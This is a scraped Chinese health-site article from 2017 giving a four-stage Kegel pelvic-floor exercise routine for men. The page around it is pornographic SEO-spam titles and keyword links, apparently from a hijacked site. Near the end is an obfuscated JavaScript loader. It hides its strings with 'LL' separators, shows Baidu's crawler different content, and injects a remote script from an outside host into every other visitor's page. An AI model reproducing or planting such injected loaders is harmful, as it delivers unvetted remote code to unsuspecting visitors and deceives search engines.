久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

盆底肌肉如何鍛煉呢

2017-06-12 16:52:29  來源:360常識網   熱度:
導語:不經常健身的朋友們可能對于盆地肌肉鍛煉不是很了解,但是我想也肯定是有很多的朋友們對于這項健身是十分熟悉,更是十分喜歡的,針對盆地肌

不經常健身的朋友們可能對于盆地肌肉鍛煉不是很了解,但是我想也肯定是有很多的朋友們對于這項健身是十分熟悉,更是十分喜歡的,針對盆地肌肉鍛煉是很多的男性朋友們都很喜歡的,那么盆地肌肉如果鍛煉呢?你對盆地肌肉鍛煉的方法都了解多少呢?還是讓我們一起走進文章來了解吧。

男性在進行凱格爾訓練前,應該先明確自己的盆底肌肉在什么位置。最簡單的辦法就是在上廁所時憋尿,感覺下身正在發力的肌肉群的位置,并牢牢記住那種緊繃的感受。但是,切忌緊繃腹、臀及腿部的肌肉,這樣會讓凱格爾訓練失去意義。

男性凱格爾訓練分為四部分。第一節包括三組練習,首先,迅速收縮、放松盆底肌肉,每次持續10秒,連續做3組,每組間隔10秒。然后,繼續重復一縮一放的動作,但每次持續5秒,每組間隔5秒。最后,緊縮盆底肌肉,維持30秒,做3組,每組間隔30秒。這一套練習應堅持一周,每天都練。

在第二節訓練中,主要是訓練盆底肌肉的靈敏性。首先,收縮盆底肌肉,堅持5秒,然后放松,一共做10組。然后,盡可能快地收放,每組10次,做3組。再次,不規則地收緊并放松,每次數10下,做3組。最后,緊收肌肉,盡可能久地堅持,以2分鐘為上限。這一節訓練也應堅持一周。如果覺得已經控制自如了,則可以做下一節訓練。

到了第三節,首先是重復收放盆底肌肉,共30組,慢慢增加到100組。然后,盡可能久地收緊,做30組,每組間隔30秒。

第四節是鞏固練習。首先,收緊盆底肌肉,至少堅持兩分鐘,然后放松,組數不限,但最好是盡可能久地練習。

盆地肌肉訓練不受地點、時間限制,站臥姿都可以,且動作非常簡單、容易掌握。男性練習一個月后,即有明顯效果。

針對盆地肌肉如何鍛煉,看來關于這個問題的介紹,不明白的朋友們有應該了解來,其實鍛煉起來只要按照方法來還是比較簡單的,如果你也喜歡健身,也喜歡盆地肌肉的鍛煉,那就趕緊來試試不,相信通過上面方法能夠給各位朋友們帶來更加好的健身效果。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 91成人免费看片 | 99精品国产高清一区二区麻豆 | 国产精品极品美女在线观看免费 | 欧美亚洲视频 | 五月婷婷在线观看视频 | 国产精品第一国产精品 | 成人国产精品久久 | 久久成人视屏 | 久草免费福利 | а天堂中文最新一区二区三区 | 日韩亚洲精品视频 | 中文字幕亚洲欧美精品一区四区 | 91亚洲精品乱码久久久久久蜜桃 | 国产一区二区不卡 | 日韩免费视频一区二区 | 在线观看免费视频亚洲 | 成人片在线播放 | 久久婷婷色 | 亚洲国产一区二区三区 | 精品国产乱码久久久久久丨区2区 | 亚洲第一国产视频 | 日韩高清中文字幕 | 免费成人在线视频网站 | avhd101在线成人播放 | 亚洲精品一区二区三区四区高清 | 日韩成人午夜电影 | 国产精品久久久久久吹潮 | 色性网站 | 国产一区二区视频免费 | 久久精品视 | 日韩欧在线 | 一级毛片视频播放 | 欧美.www | 色婷婷综合五月天 | 成人国产免费视频 | 一区二区三区免费网站 | 欧美日韩精 | 久在线视频| 国产精品久久久久免费a∨ 国产激情一区二区三区 | 亚洲欧美中文日韩在线v日本 | 青青草免费在线视频 |